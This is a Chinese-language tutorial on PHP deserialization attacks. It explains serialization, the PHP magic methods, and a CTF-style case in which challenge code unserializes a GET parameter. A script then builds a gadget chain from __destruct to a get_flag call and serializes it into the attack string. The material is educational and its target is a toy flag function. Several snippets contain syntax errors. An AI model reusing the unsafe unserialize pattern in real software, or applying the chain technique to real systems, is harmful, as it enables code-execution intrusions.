PHP反序列化漏洞

一、序列化，反序列化 

• 序列化：将php对象压缩并按照一定格式转换成字符串过程
• 反序列化：从字符串转换回php对象的过程
• 目的：为了方便php对象的传输和存储

seriallize()       传入参数为php对象，序列化成字符串

unserialize()    传入字符串，反序列化成一个对象

下图，上面是php对象，下面是 序列化结果 

 强调：序列化的过程，只序列化属性，不序列化函数

二、反序列化攻击

利用unserilize()接受的参数是用户可控，攻击者输入精心构造的字符串，再转换成对象的过程中实现攻击

只序列化属性，不序列化方法，所有对象的属性是唯一的攻击入口

魔术方法（以__开头的函数）

1.__construct()：
构造函数，当一个对象被实例化时，就会被调用

<?phpclass A{function __construct(){echo "this is a construct function":}}$a = new A();
?>

 当$a = new A() 这条语句被执行的时候，__construct()方法就会被调用

2.__destruct():

析构函数，当代码执行结束，对象所占用的空间被回收的时候，回自动调用析构函数

<?phpclass A{function __construct(){echo "this is a construct function";}function __destruct(){echo "this is a destruct function";}}$a = new A();
?>

这个方法，不管是啥情况，只要代码执行，肯定有结束的时候，就一定会调用析构函数 

3.__sleep():
在对象进行序列化的过程，__sleep()函数将被调用

<?phpclass A{private $test;public $test2;public function __construct($test){$this->test = $test;}public function __sleep(){echo "this is a sleep function";return array('test'); //这里必须返回一个数值，里面的参数表示返回的属性名称}}$a = new A("Aurora");echo serialize($a);
?>

在代码中有serialize()方法的出现，__sleep()这个魔术方法一定会被调用

4.__wakeup():
wakeup()与sleep()正好相对应

是在反序列化的过程会被调用

当unserialize()函数出现，__wakeup()这个魔术方法一定会被调用

注意：反序列化看似是构造一个对象，但并没有调用到constant方法，而是调用__wakeup()方法

5.__toString()方法

当出现，把一个字符串当作字符串来使用，就会调用该方法

<?php class A{private $test;'public function __construct($test){$this->test = $test;}function __toString(){$str = "this is a toString function";return $str;}}$a = new A("Aurora");echo $a;
?>

6.__invoke():

当把一个对象当作函数来调用的时候，就会自动调用invoke()方法

<?phpclass A{private $test;public function __construct($test){$this->test = $test;}function __invoke(){echo = "this is a invoke function";}}$a = new A("Aurora");$a();    //$a是一个对象，但却用$a()调用方法的方法使用它
?>

上面$a()就是将对象作为函数来调用的例子

7.__call():

调用对象中不存在的方法，就会调用call函数

<?phpclass A{private $test;public function __construct($test){$this->test = $test;}function _call($funName,$arguments){echo "你所调用的方法：“.$funName."(参数："；   //输出调用不存在的方法名print_r($arguments);echo ")不存在！<br>\n";                       //结束换行}$a = new A("Aurora");$a->test('no','this','function');                //可以看到A类中并没有test()方法
?>

三、案例

<!--
class allstart
{public $var1;public $var2;public function __destruct(){$this->var1->test1();}
}
class func1
{public $var1;public $var2;public function test1(){$this->var1->test2();}
}    
class func2
{public $var1;public $var2;public function __call($test2,$arr){$s1 = $this->var1;$s1();}
}
class func3
{public $var1;public $var2;public function __invoke(){$this->var2 = "concat string".$this->var1;} 
}
class func4
{public $str1;public $str2;public function __toString(){$this->str1->get_flag();return "1";}
}
class toget
{public function get_flag(){       echo "flag{***}";}
}$a=$_GET["string"];
unserialize($a);

反序列化攻击就是制造一条攻击链

将每一个会用到的属性进行赋值，赋值成特定的对象， 后将其进行序列化，得到序列化的字符串作为get参数传入题目中去

<?phpclass allstart{public $var1;public $var2;public function __construct()   //只需在每个对象中添加构造函数{$this->var1=new func1();}public function __destruct(){$this->var1->test1();}}class func1{public $var1;public $var2;public function __construct()   //只需在每个对象中添加构造函数{$this->var1=new func2();}public function test1(){$this->var1->test2();}}    class func2{public $var1;public $var2;public function __construct()   //只需在每个对象中添加构造函数{$this->var1=new func3();}public function __call($test2,$arr){$s1 = $this->var1;$s1();}}class func3{public $var1;public $var2;public function __construct()   //只需在每个对象中添加构造函数{$this->var1=new func4();}public function __invoke(){$this->var2 = "concat string".$this->var1;} }class func4{public $str1;public $str2;public function __construct()   //只需在每个对象中添加构造函数{$this->str1=new toget();}public function __toString(){$this->str1->get_flag();return "1";}}class toget{public function get_flag(){       echo "flag{***}";}}$a=new allstart();    //这个也要与源码不同echo serialize($a);   //将对象序列化
?>